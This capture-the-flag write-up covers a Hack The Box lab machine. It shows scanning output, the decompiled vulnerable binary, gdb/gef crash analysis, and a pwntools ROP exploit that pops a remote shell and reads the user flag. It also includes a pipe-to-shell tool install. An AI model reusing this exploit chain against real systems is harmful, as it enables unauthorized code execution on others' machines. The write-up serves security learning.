Part 2 : Getting User Access
the text goes here
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Safe]
→ nikto -h http://10.10.10.147/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.147
+ Target Hostname: 10.10.10.147
+ Target Port: 80
+ Start Time: 2020-02-15 16:33:18 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache/2.4.25 (Debian)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 2a23, size: 588c4cc4e54b5, mtime: gzip
+ Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: POST, OPTIONS, HEAD, GET
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7863 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time: 2020-02-15 16:46:54 (GMT0) (816 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Let's run dirsearch to see which directories we can find :
λ nihilist [ 10.10.14.10/23 ] [~]
→ dirsearch -u http://10.10.10.147/ -e php,html,txt,js
git clone https://github.com/maurosoria/dirsearch.git
dirsearch -u -e -t 50 -x 500
_|. _ _ _ _ _ _|_ v0.3.9
(_||| _) (/_(_|| (_| )
Extensions: php, html, txt, js | HTTP method: get | Threads: 10 | Wordlist size: 7126
Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-02-16_08-32-43.log
Target: http://10.10.10.147/
[08:32:44] Starting:
[08:32:46] 403 - 298B - /.ht_wsr.txt
[08:32:46] 403 - 291B - /.hta
[08:32:46] 403 - 300B - /.htaccess-dev
[08:32:46] 403 - 302B - /.htaccess-local
[08:32:46] 403 - 302B - /.htaccess-marco
[08:32:46] 403 - 300B - /.htaccess.BAK
[08:32:46] 403 - 301B - /.htaccess.bak1
[08:32:46] 403 - 301B - /.htaccess.orig
[08:32:46] 403 - 300B - /.htaccess.old
[08:32:46] 403 - 303B - /.htaccess.sample
[08:32:46] 403 - 301B - /.htaccess.save
[08:32:46] 403 - 300B - /.htaccess.txt
[08:32:46] 403 - 302B - /.htaccess_extra
[08:32:46] 403 - 301B - /.htaccess_orig
[08:32:46] 403 - 299B - /.htaccess_sc
[08:32:46] 403 - 299B - /.htaccessBAK
[08:32:46] 403 - 300B - /.htaccessOLD2
[08:32:46] 403 - 299B - /.htaccessOLD
[08:32:46] 403 - 295B - /.htgroup
[08:32:46] 403 - 297B - /.htaccess~
[08:32:47] 403 - 300B - /.htpasswd-old
[08:32:47] 403 - 301B - /.htpasswd_test
[08:32:47] 403 - 297B - /.htpasswds
[08:32:47] 403 - 295B - /.htusers
[08:33:29] 200 - 11KB - /index.html
[08:33:34] 200 - 626B - /manual/index.html
[08:33:34] 301 - 313B - /manual -> http://10.10.10.147/manual/
[08:33:47] 403 - 300B - /server-status
[08:33:47] 403 - 301B - /server-status/
Task Completed
Looking at the sourcecode of http://10.10.10.147 we see something commented out mentionning a binary named "myapp" running on port 1337.
Let's first download the binary locally, at http://10.10.10.147/myapp
Let's navigate to http://10.10.10.147:1337 to see it running.
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Safe]
→ ls
myapp
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Safe]
→ file myapp
myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fcbd5450d23673e92c8b716200762ca7d282c73a, not stripped
Looks like we are looking at a Return Oriented Programming (ROP) binary challenge, which is a Buffer Overflow based challenge. let's fire up gdb on myapp to see what we can do with it.
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Safe]
→ chmod +x myapp
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Safe]
→ gdb ./myapp
GNU gdb (Debian 8.3.1-1) 8.3.1
Copyright (C) 2019 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
.
Find the GDB manual and other documentation resources online at:
.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./myapp...
(No debugging symbols found in ./myapp)
(gdb) r
Starting program: /home/nihilist/_HTB/Safe/myapp
[Detaching after vfork from child process 10840]
08:58:30 up 15:20, 1 user, load average: 0.93, 0.87, 0.79
What do you want me to echo back? A
A
[Inferior 1 (process 10836) exited normally]
(gdb) r
Starting program: /home/nihilist/_HTB/Safe/myapp
[Detaching after vfork from child process 10843]
08:58:42 up 15:20, 1 user, load average: 0.86, 0.85, 0.78
What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[Inferior 1 (process 10842) exited normally]
(gdb) r
Starting program: /home/nihilist/_HTB/Safe/myapp
[Detaching after vfork from child process 10849]
08:59:03 up 15:20, 1 user, load average: 0.61, 0.80, 0.77
What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x00000000004011ac in main ()
Basically we need 500 As to crash the program. let's see if it still crashes if we create a pattern. While we can continue in gdb-peda, for this example we'll proceed in Ghidra to illustrate what the binary does.
>unzip ghidra into /opt
>sudo /opt/ghidra_9.1.1_PUBLIC/ghidraRun
>Create project in /home/nihilist/_HTB/Safe/Ghidra/
>project name myapp > finish
>File > Import file > myapp
>analyze it
>select all
>analyze
>symbol tree
>functions
>main
undefined8 main(void)
{
char local_78 [112];
system("/usr/bin/uptime");
printf("\nWhat do you want me to echo back? ");
gets(local_78);
puts(local_78);
return 0;
}
our main function here assigns a variable 112 bytes, which then executes system passing /usr/bin/uptime as that call,
That is why we can see it run on port 1337, running uptime in our terminal shows up the same thing.
Once it is done running the uptime binary, it does a gets() and a puts()
From here we can see that if we put in more than 112 bytes, we will end up overflowing the buffer and getting overwrites
λ root [ 10.10.14.10/23 ] [_HTB/Safe/Ghidra]
→ wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh
λ root [ 10.10.14.10/23 ] [_HTB/Safe/Ghidra]
→ gdb -q myapp
GEF for linux ready, type `gef' to start, `gef config' to configure
76 commands loaded for GDB 8.3.1 using Python engine 3.7
[*] 4 commands could not be loaded, run `gef missing` to know why.
Reading symbols from myapp...
(No debugging symbols found in myapp)
gef➤ r
back into gdb, we need gef's additional options to create patterns to identify what we can do with the buffer overflow.
gef➤ r
Starting program: /home/nihilist/_HTB/Safe/Ghidra/myapp
[Detaching after vfork from child process 13738]
09:45:31 up 16:07, 1 user, load average: 1.14, 1.08, 1.10
What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Program received signal SIGSEGV, Segmentation fault.
0x00000000004011ac in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007ffff7edc904 → 0x5477fffff0003d48 ("H="?)
$rdx : 0x00007ffff7fad580 → 0x0000000000000000
$rsp : 0x00007fffffffe438 → "AAAAAAAA"
$rbp : 0x4141414141414141 ("AAAAAAAA"?)
$rsi : 0x00000000004052a0 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
$rdi : 0x0
$rip : 0x00000000004011ac → <main+77> ret
$r8 : 0x81
$r9 : 0x4141414141414141 ("AAAAAAAA"?)
$r10 : 0x4141414141414141 ("AAAAAAAA"?)
$r11 : 0x246
$r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe510 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe438│+0x0000: "AAAAAAAA" ← $rsp
0x00007fffffffe440│+0x0008: 0x0000000000000000
0x00007fffffffe448│+0x0010: 0x00007fffffffe518 → 0x00007fffffffe774 → "/home/nihilist/_HTB/Safe/Ghidra/myapp"
0x00007fffffffe450│+0x0018: 0x0000000100400000
0x00007fffffffe458│+0x0020: 0x000000000040115f → <main+0> push rbp
0x00007fffffffe460│+0x0028: 0x0000000000000000
0x00007fffffffe468│+0x0030: 0xad7b338534175b70
0x00007fffffffe470│+0x0038: 0x0000000000401070 → <_start+0> xor ebp, ebp
───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4011a1 <main+66> call 0x401030 <puts@plt>
0x4011a6 <main+71> mov eax, 0x0
0x4011ab <main+76> leave
→ 0x4011ac <main+77> ret
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "myapp", stopped, reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4011ac → main()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤
From there, we can see that putting in more than 112 bytes (in this example, 128 bytes) we are able to cause a segfault,
However we need to see where exactly we crash. So we create a pattern, paste it in, and see where exactly do we crash
gef➤ pattern create 200
[+] Generating a pattern of 200 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
[+] Saved as '$_gef0'
gef➤ r
Starting program: /home/nihilist/_HTB/Safe/Ghidra/myapp
[Detaching after vfork from child process 13856]
09:49:26 up 16:11, 1 user, load average: 1.01, 0.98, 1.05
What do you want me to echo back? aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa
Program received signal SIGSEGV, Segmentation fault.
0x00000000004011ac in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007ffff7edc904 → 0x5477fffff0003d48 ("H="?)
$rdx : 0x00007ffff7fad580 → 0x0000000000000000
$rsp : 0x00007fffffffe438 → "paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]"
$rbp : 0x616161616161616f ("oaaaaaaa"?)
$rsi : 0x00000000004052a0 → "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]"
$rdi : 0x0
$rip : 0x00000000004011ac → <main+77> ret
$r8 : 0xc9
$r9 : 0x6161616161616176 ("vaaaaaaa"?)
$r10 : 0x6161616161616177 ("waaaaaaa"?)
$r11 : 0x246
$r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe510 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe438│+0x0000: "paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]" ← $rsp
0x00007fffffffe440│+0x0008: "qaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawa[...]"
0x00007fffffffe448│+0x0010: "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]"
0x00007fffffffe450│+0x0018: "saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaaya[...]"
0x00007fffffffe458│+0x0020: "taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
0x00007fffffffe460│+0x0028: "uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
0x00007fffffffe468│+0x0030: "vaaaaaaawaaaaaaaxaaaaaaayaaaaaaa"
0x00007fffffffe470│+0x0038: "waaaaaaaxaaaaaaayaaaaaaa"
───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4011a1 <main+66> call 0x401030 <puts@plt>
0x4011a6 <main+71> mov eax, 0x0
0x4011ab <main+76> leave
→ 0x4011ac <main+77> ret
[!] Cannot disassemble from $PC
───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "myapp", stopped, reason: SIGSEGV
─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4011ac → main()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
In order to be more precise, let's use the registers function to see the details of our buffer overflow
gef➤ registers
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007ffff7edc904 → 0x5477fffff0003d48 ("H="?)
$rdx : 0x00007ffff7fad580 → 0x0000000000000000
$rsp : 0x00007fffffffe438 → "paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]"
$rbp : 0x616161616161616f ("oaaaaaaa"?)
$rsi : 0x00000000004052a0 → "aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga[...]"
$rdi : 0x0
$rip : 0x00000000004011ac → <main+77> ret
$r8 : 0xc9
$r9 : 0x6161616161616176 ("vaaaaaaa"?)
$r10 : 0x6161616161616177 ("waaaaaaa"?)
$r11 : 0x246
$r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe510 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
gef➤ pattern search $rsp
[+] Searching '$rsp'
[+] Found at offset 120 (little-endian search) likely
[+] Found at offset 113 (big-endian search)
Looks like we have found our pattern at offset 120 (little-endian format) and at offset 113 (big-endian format)
Let's hand-craft a pattern of 120 Xs, 8 Ys and 8 Zs
λ nihilist [ 10.10.14.10/23 ] [~]
→ python -c 'print "X"*128 + "Y"*8 + "Z"*8'
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXYYYYYYYYZZZZZZZZ
and paste it in the binary to examine the registers
gef➤ r
Starting program: /home/nihilist/_HTB/Safe/Ghidra/myapp
[Detaching after vfork from child process 14017]
09:56:05 up 16:17, 1 user, load average: 1.69, 1.21, 1.09
What do you want me to echo back? XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXYYYYYYYYZZZZZZZZ
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXYYYYYYYYZZZZZZZZ
gef➤ registers
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007ffff7edc904 → 0x5477fffff0003d48 ("H="?)
$rdx : 0x00007ffff7fad580 → 0x0000000000000000
$rsp : 0x00007fffffffe438 → "XXXXXXXXYYYYYYYYZZZZZZZZ"
$rbp : 0x5858585858585858 ("XXXXXXXX"?)
$rsi : 0x00000000004052a0 → "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX[...]"
$rdi : 0x0
$rip : 0x00000000004011ac → <main+77> ret
$r8 : 0x91
$r9 : 0x5858585858585858 ("XXXXXXXX"?)
$r10 : 0x5858585858585858 ("XXXXXXXX"?)
$r11 : 0x246
$r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe510 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
gef➤
So, if we can put a memory address where the Xs are, we can continue with the execution of the program. For example we can put the memory address of main so let's take a look back at ghidra, to see what the memory address of main is.
Now we know that the main function is at the 0x40115f memory address. From there we can create a python script to interact with it a little further.
λ nihilist [ 10.10.14.10/23 ] [_HTB/Safe/Ghidra]
→ nano exploit.py
#0x40115f - main
from pwn import *
context(terminal=['tmux','new-window'])
p = gdb.debug('./myapp','b main')
context(os='linux',arch='amd64')
junk = ("A" * 120).encode()
call_main = p64(0x40115f)
p.recvuntil('What do you want me to echo back ?')
p.sendline(j + call_main)
python3 exploit.py
─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x0
$rdx : 0x0
$rsp : 0x00007fff98990520 → 0x0000000000000001
$rbp : 0x0
$rsi : 0x0
$rdi : 0x0
$rip : 0x00007fd2a202e090 → <_start+0> mov rdi, rsp
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x0
$r12 : 0x0
$r13 : 0x0
$r14 : 0x0
$r15 : 0x0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fff98990520│+0x0000: 0x0000000000000001 ← $rsp
0x00007fff98990528│+0x0008: 0x00007fff98992748 → 0x00707061796d2f2e ("./myapp"?)
0x00007fff98990530│+0x0010: 0x0000000000000000
0x00007fff98990538│+0x0018: 0x00007fff98992750 → "APPDIR=/tmp/.mount_tmtxDoJV"
0x00007fff98990540│+0x0020: 0x00007fff9899276c → "APPIMAGE=/tmp/tm"
0x00007fff98990548│+0x0028: 0x00007fff9899277d → "COLORTERM=truecolor"
0x00007fff98990550│+0x0030: 0x00007fff98992791 → "DISPLAY=:0.0"
0x00007fff98990558│+0x0038: 0x00007fff9899279e → "HOME=/root"
───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7fd2a202e08a add BYTE PTR [rax], al
0x7fd2a202e08c add BYTE PTR [rax], al
0x7fd2a202e08e add BYTE PTR [rax], al
→ 0x7fd2a202e090 <_start+0> mov rdi, rsp
0x7fd2a202e093 <_start+3> call 0x7fd2a202ee80 <_dl_start>
0x7fd2a202e098 <_dl_start_user+0> mov r12, rax
0x7fd2a202e09b <_dl_start_user+3> mov eax, DWORD PTR [rip+0x27597] # 0x7fd2a2055638 <_dl_skip_args>
0x7fd2a202e0a1 <_dl_start_user+9> pop rdx
0x7fd2a202e0a2 <_dl_start_user+10> lea rsp, [rsp+rax*8]
───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "myapp", stopped, reason: SIGTRAP
─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7fd2a202e090 → _start()
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Reading /lib64/ld-linux-x86-64.so.2 from remote target...
Breakpoint 1 at 0x401163
So here we hit our first breakpoint which is main, we do continue with the c command
gef➤ c
Continuing.
Reading /lib/x86_64-linux-gnu/libc.so.6 from remote target...
Breakpoint 1, 0x0000000000401163 in main ()
__main__:2421: DeprecationWarning: invalid escape sequence '\'
[ Legend: Modified register | Code | Heap | Stack | String ]
─────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x000000000040115f → <main+0> push rbp
$rbx : 0x0
$rcx : 0x00007fd2a2007718 → 0x00007fd2a2009a40 → 0x0000000000000000
$rdx : 0x00007fff98990538 → 0x00007fff98992750 → "APPDIR=/tmp/.mount_tmtxDoJV"
$rsp : 0x00007fff98990440 → 0x00000000004011b0 → <__libc_csu_init+0> push r15
$rbp : 0x00007fff98990440 → 0x00000000004011b0 → <__libc_csu_init+0> push r15
$rsi : 0x00007fff98990528 → 0x00007fff98992748 → 0x00707061796d2f2e ("./myapp"?)
$rdi : 0x1
$rip : 0x0000000000401163 → <main+4> sub rsp, 0x70
$r8 : 0x00007fd2a2009a50 → 0x0000000000000004
$r9 : 0x00007fd2a203c780 → <_dl_fini+0> push rbp
$r10 : 0xffffffff
$r11 : 0x4
$r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp
$r13 : 0x00007fff98990520 → 0x0000000000000001
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fff98990440│+0x0000: 0x00000000004011b0 → <__libc_csu_init+0> push r15 ← $rsp, $rbp
0x00007fff98990448│+0x0008: 0x00007fd2a1e74bbb → <__libc_start_main+235> mov edi, eax
0x00007fff98990450│+0x0010: 0x0000000000000000
0x00007fff98990458│+0x0018: 0x00007fff98990528 → 0x00007fff98992748 → 0x00707061796d2f2e ("./myapp"?)
0x00007fff98990460│+0x0020: 0x0000000100400000
0x00007fff98990468│+0x0028: 0x000000000040115f → <main+0> push rbp
0x00007fff98990470│+0x0030: 0x0000000000000000
0x00007fff98990478│+0x0038: 0xe451416c2c196dfa
───────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x40115e <test+12> ret
0x40115f <main+0> push rbp
0x401160 <main+1> mov rbp, rsp
→ 0x401163 <main+4> sub rsp, 0x70
0x401167 <main+8> lea rdi, [rip+0xe9a] # 0x402008
0x40116e <main+15> call 0x401040 <system@plt>
0x401173 <main+20> lea rdi, [rip+0xe9e] # 0x402018
0x40117a <main+27> mov eax, 0x0
0x40117f <main+32> call 0x401050 <printf@plt>
───────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "myapp", stopped, reason: BREAKPOINT
─────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x401163 → main()
Here we hit another breakpoint on main. To see what we can do let's return to ghidra, we want to somehow hijack the systemcall in our main function even though we don't have a way to put something on the stack.
undefined8 main(void)
{
char local_78 [112];
system("/usr/bin/uptime");
printf("\nWhat do you want me to echo back? ");
gets(local_78);
puts(local_78);
return 0;
}
in ghidra still, we check what is the system()'s memory address
Now that we know system()'s memory address, we can run our exploit.py again accordingly back into gef
Breakpoint 1 at 0x401163
gef➤ b *0x40116e
Breakpoint 2 at 0x40116e
gef➤ c
now that we set our second breakpoint at the system call's memory address, we can continue, but the execution will halt where we want.
0x40115e <test+12> ret
0x40115f <main+0> push rbp
0x401160 <main+1> mov rbp, rsp
→ 0x401163 <main+4> sub rsp, 0x70
0x401167 <main+8> lea rdi, [rip+0xe9a] # 0x402008
0x40116e <main+15> call 0x401040 <system@plt>
0x401173 <main+20> lea rdi, [rip+0xe9e] # 0x402018
0x40117a <main+27> mov eax, 0x0
0x40117f <main+32> call 0x401050 <printf@plt>
we halted 2 lines before the systemcall. First we are loading the first variable into rdi which is "/usr/bin/uptime" we can verify it with the following :
gef➤ x/s $rdi
0x1: <error: Cannot access memory at address 0x1>
gef➤ c
gef➤ x/s $rdi
0x402008: "/usr/bin/uptime"
doing so we can see the variable "/usr/bin/uptime" getting loaded into rdi, we can verify it using the registers command. From there
Our goal is to find a way to put our string into $rdi, so that instead of calling uptime, the system will call something else.
we change our exploit.py accordingly, adding the ropchain
λ nihilist [ 10.10.14.10/23 ] [_HTB/Safe/Ghidra]
→ objdump -D myapp | grep -i system
0000000000401040 <system@plt>:
401040: ff 25 da 2f 00 00 jmpq *0x2fda(%rip) # 404020 <system@GLIBC_2.2.5>
40116e: e8 cd fe ff ff callq 401040 <system@plt>
λ nihilist [ 10.10.14.10/23 ] [_HTB/Safe/Ghidra]
→ objdump -D myapp | grep -i test
40100b: 48 85 c0 test %rax,%rax
4010c2: 48 85 c0 test %rax,%rax
401104: 48 85 c0 test %rax,%rax
0000000000401152 :
λ nihilist [ 10.10.14.10/23 ] [_HTB/Safe/Ghidra]
→ nano exploit.py
So we need the jump instruction here, at the memory address 0x401040 and the test function's memory address 0x401152 to modify our python script accordingly
#0x40115f - main
#0x40116e - system
#0x401206 - pop r13, pop, pop
from pwn import *
context(terminal=['tmux','new-window'])
#p = gdb.debug('./myapp','b main')
p = remote('10.10.10.147', 1337)
context(os='linux',arch='amd64')
junk = ("A" * 112).encode()
bin_sh = "/bin/sh\x00".encode()
system = p64(0x40116e) # could also be 401040
pop_r13 = p64(0x401206) # later used as r13 (treat as rsp)
null = p64(0x0)
test = p64(0x401152) # RSP => RDI , JMP R13
#p.recvuntil('What do you want me to echo back ?')
p.sendline(junk + bin_sh + pop_r13 + system + null + null + test)
p.interactive()
Looking at the last 2 lines, first we trigger the buffer overflow, then place in the bin_sh variable into the rsp register,
then it is going to put the system memory location into r13, then going through the other 2 pops in that chain (with the 2 null bytes),
to then finally return to test, therefore test will now execute it. p.interactive() will hopefully allow us to have an interactive shell onto the system.
λ root [ 10.10.14.10/23 ] [_HTB/Safe/Ghidra]
→ python3 exploit.py
[+] Opening connection to 10.10.10.147 on port 1337: Done
[*] Switching to interactive mode
04:58:56 up 18:49, 0 users, load average: 0.00, 0.00, 0.00
$ uname -a
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64 GNU/Linux
$ cat /home/user/user.txt
7aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! we have been able to print out the user flag :)
